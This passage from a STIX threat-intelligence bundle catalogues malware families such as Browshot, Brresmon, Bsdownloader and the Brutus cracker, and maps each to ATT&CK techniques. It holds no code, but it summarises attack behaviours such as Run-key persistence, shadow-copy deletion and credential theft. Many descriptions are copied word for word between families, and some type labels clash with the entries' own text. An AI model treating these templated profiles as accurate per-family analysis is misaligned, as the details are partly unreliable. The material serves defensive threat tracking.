      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e298eb53-792a-5ec4-a1d1-008ab1ddf45a",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserpwdstealer exhibits technique T1005 (Data from Local System (Accessing local SQLite databases))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc3c4b8a-ed7c-5c9b-b9e8-0c8ab9803971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e298eb53-792a-5ec4-a1d1-008ab1ddf45a",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserpwdstealer exhibits technique T1048 (Exfiltration Over Alternative Protocol (Uploading the stolen credentials))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--587fdac7-42eb-56a4-90fa-cca62b3c5401",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browshot",
      "description": "Browshot (classified in antivirus detection telemetry under designations including Trojan:Win32/Browshot, Trojan.Win32.Browshot, and Win32/Browshot) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Browshot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Browshot",
        "Trojan.Win32.Browshot",
        "Win32/Browshot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browshot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browshot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ac37bca-901a-5f00-8446-4cf946460004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--587fdac7-42eb-56a4-90fa-cca62b3c5401",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browshot exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a53da0a-b9fb-59c0-91a5-e9c5f6f6625f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--587fdac7-42eb-56a4-90fa-cca62b3c5401",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browshot exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (Hooking the browser to intercept traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f25298d-f733-5893-b3e4-01214287e56c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--587fdac7-42eb-56a4-90fa-cca62b3c5401",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browshot exhibits technique T1189 (Drive-by Compromise (The typical delivery method for browser hijackers))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ded76c9-cfb6-54ed-ab1f-ec41fe625d47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Brresmon",
      "description": "Brresmon (classified in antivirus detection telemetry under designations including Ransom:Win32/Brresmon, Ransom.Win32.Brresmon, and Win32/Brresmon) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Brresmon executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Brresmon",
        "Ransom.Win32.Brresmon",
        "Win32/Brresmon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Brresmon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/brresmon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa9e48e9-dff3-5966-a0f0-c77665573569",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ded76c9-cfb6-54ed-ab1f-ec41fe625d47",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brresmon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7304a377-052d-5b81-9350-1309a5f61c52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ded76c9-cfb6-54ed-ab1f-ec41fe625d47",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brresmon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8f10184-2866-53e0-9e7c-e975ea98d1dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ded76c9-cfb6-54ed-ab1f-ec41fe625d47",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brresmon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f554b77f-5a5e-5f7e-9bf1-834164ba2b90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ded76c9-cfb6-54ed-ab1f-ec41fe625d47",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brresmon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e44e482-ed66-5d44-a136-c7592994d460",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ded76c9-cfb6-54ed-ab1f-ec41fe625d47",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brresmon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8df617cb-1fcd-53fd-9c55-8b6e954fbb44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bruhorn",
      "description": "Bruhorn (classified in antivirus detection telemetry under designations including Ransom:Win32/Bruhorn, Ransom.Win32.Bruhorn, and Win32/Bruhorn) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bruhorn executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bruhorn",
        "Ransom.Win32.Bruhorn",
        "Win32/Bruhorn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bruhorn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bruhorn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9773f74a-f64e-5f65-beea-81fea662f748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df617cb-1fcd-53fd-9c55-8b6e954fbb44",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruhorn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--114d5141-4eb2-513e-846c-14a32159f500",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df617cb-1fcd-53fd-9c55-8b6e954fbb44",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruhorn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7e74320-3b4f-506b-b996-95aa5e56d670",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df617cb-1fcd-53fd-9c55-8b6e954fbb44",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruhorn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ced5b94-21c3-5ca0-a526-18ee180c0ed0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df617cb-1fcd-53fd-9c55-8b6e954fbb44",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruhorn exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc5db734-3e0b-55d0-b795-7953dd875c79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df617cb-1fcd-53fd-9c55-8b6e954fbb44",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruhorn exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--286bf7bb-6118-5e7d-b051-5bde033b6107",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bruteforce",
      "description": "BruteForce (classified across antivirus engines as HackTool:Win32/BruteForce and Tool:Win32/BruteForce) is a multi-protocol authentication credential-cracking tool used by threat actors and penetration testers to gain unauthorized initial access and execute internal lateral movement. Designed for high-concurrency dictionary and rainbow-table attacks, BruteForce targets Windows administrative services, including Remote Desktop Protocol (RDP - port 3389), Server Message Block (SMB - port 445), MSSQL (port 1433), and SSH (port 22). Threat actors deploy it on internet-facing scanning servers or compromised internal workstations to systematically iterate through wordlists of usernames and passwords, generating alerts across security event logs (Event IDs 4625). (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/BruteForce",
        "Tool:Win32/BruteForce",
        "Win32/BruteForce",
        "RDP BruteForce Tool",
        "BruteForce Password Cracker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bruteforce",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bruteforce"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae7f781d-b0f5-5f2c-822d-6d33de2a7892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--286bf7bb-6118-5e7d-b051-5bde033b6107",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruteforce exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2aa272c3-d874-54ab-a74c-609483ff8cea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1110.002: Brute Force: Password Cracking (Offline)",
      "description": "MITRE ATT&CK Technique T1110.002 (Brute Force: Password Cracking (Offline)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1110.002",
          "url": "https://attack.mitre.org/techniques/T1110/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f864f4a-2b42-514c-a75c-7b1312b8d4a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--286bf7bb-6118-5e7d-b051-5bde033b6107",
      "target_ref": "attack-pattern--2aa272c3-d874-54ab-a74c-609483ff8cea",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruteforce exhibits technique T1110.002 (Brute Force: Password Cracking (Offline))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8f5d3ee9-daf9-50fb-8b5a-b2b19bd98c93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1110.003: Brute Force: Password Spraying",
      "description": "MITRE ATT&CK Technique T1110.003 (Brute Force: Password Spraying) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1110.003",
          "url": "https://attack.mitre.org/techniques/T1110/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--072e6aa3-7890-5352-ba1f-2693436bc462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--286bf7bb-6118-5e7d-b051-5bde033b6107",
      "target_ref": "attack-pattern--8f5d3ee9-daf9-50fb-8b5a-b2b19bd98c93",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruteforce exhibits technique T1110.003 (Brute Force: Password Spraying)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70f312a6-d770-5c9c-9c36-eef8630d4687",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--286bf7bb-6118-5e7d-b051-5bde033b6107",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruteforce exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ea9761b-8110-5a26-996a-5e696529930d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--286bf7bb-6118-5e7d-b051-5bde033b6107",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bruteforce exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7cc3dbb7-b8c3-5b92-a5fd-09af893af044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Brutus",
      "description": "Brutus is a widely recognized and versatile password-cracking utility that has been utilized by both security professionals and malicious actors for over two decades. Operating primarily on Windows systems, Brutus is categorized as a remote password cracker that specializes in brute-force and dictionary attacks against various network services. It natively supports protocols such as HTTP (Basic Authentication), FTP, POP3, Telnet, and SMB. What sets Brutus apart is its customizable nature, allowing users to define specific authentication sequences and import extensive wordlists. While its age means it lacks support for modern cryptographic standards and secured protocols like HTTPS, it remains an effective tool against legacy systems and misconfigured servers. Its existence underscores the critical need for strong password policies and the implementation of multi-factor authentication (MFA) across all services.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Brutus Password Cracker",
        "Brutus AET"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Brutus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/brutus"
        }
      ],
      "labels": [
        "tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8bf1881-3dab-5705-8961-38b79b361352",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc3dbb7-b8c3-5b92-a5fd-09af893af044",
      "target_ref": "attack-pattern--3cea5863-ee5e-5a28-855f-c5dda06ae573",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brutus exhibits technique T1110 (Brute Force)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5944cb1a-9067-59b1-acd2-f52d762a3079",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc3dbb7-b8c3-5b92-a5fd-09af893af044",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brutus exhibits technique T1078 (Valid Accounts)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2c9a7e5b-d6c2-5217-b523-80dd3127f431",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bsdownloader",
      "description": "Bsdownloader (classified in antivirus detection telemetry under designations including TrojanDownloader:Win32/Bsdownloader, TrojanDownloader.Win32.Bsdownloader, and Win32/Bsdownloader) is a stealthy staging trojan engineered to establish host persistence and download secondary crimeware payloads onto compromised endpoints. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bsdownloader executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include sandbox evasion, staging directory payload extraction, autostart registry configuration, and encrypted HTTP/HTTPS payload delivery. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Bsdownloader",
        "TrojanDownloader.Win32.Bsdownloader",
        "Win32/Bsdownloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bsdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bsdownloader"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d0a73d4-60b7-50e3-b022-ced42b0c6f07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c9a7e5b-d6c2-5217-b523-80dd3127f431",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsdownloader exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b18c25b-1b5a-5756-b613-ec5dc7815750",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c9a7e5b-d6c2-5217-b523-80dd3127f431",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsdownloader exhibits technique T1055 (Process Injection (Injecting into svchost.exe to hide network traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb39704f-eb31-525c-a0dc-8eee9b674060",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c9a7e5b-d6c2-5217-b523-80dd3127f431",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsdownloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db2732d4-d6c6-5307-bbba-efeb4b1e4199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c9a7e5b-d6c2-5217-b523-80dd3127f431",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsdownloader exhibits technique T1027 (Obfuscated Files or Information (Packing the downloader to bypass AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26500cdb-f140-58dc-840a-38effafbb3b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bsvsebni",
      "description": "Bsvsebni (classified in antivirus detection telemetry under designations including Trojan:Win32/Bsvsebni, Trojan.Win32.Bsvsebni, and Win32/Bsvsebni) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bsvsebni executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bsvsebni",
        "Generic.Bsvsebni",
        "Suspicious.Bsvsebni",
        "Trojan:Win32/Bsvsebni",
        "Trojan.Win32.Bsvsebni",
        "Win32/Bsvsebni"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bsvsebni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bsvsebni"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8463e61-6e0b-5b98-9e7b-c3dba7f94814",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26500cdb-f140-58dc-840a-38effafbb3b7",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsvsebni exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c90c468-2485-5cd5-bd55-79152609e007",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26500cdb-f140-58dc-840a-38effafbb3b7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsvsebni exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ee4cb5a-7c0c-5def-b057-4c88a4baa6f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26500cdb-f140-58dc-840a-38effafbb3b7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsvsebni exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3178a753-566d-53f5-a20c-4fb3e325d670",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26500cdb-f140-58dc-840a-38effafbb3b7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsvsebni exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77ddf5b8-45a9-5174-ad09-f552c81b5721",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
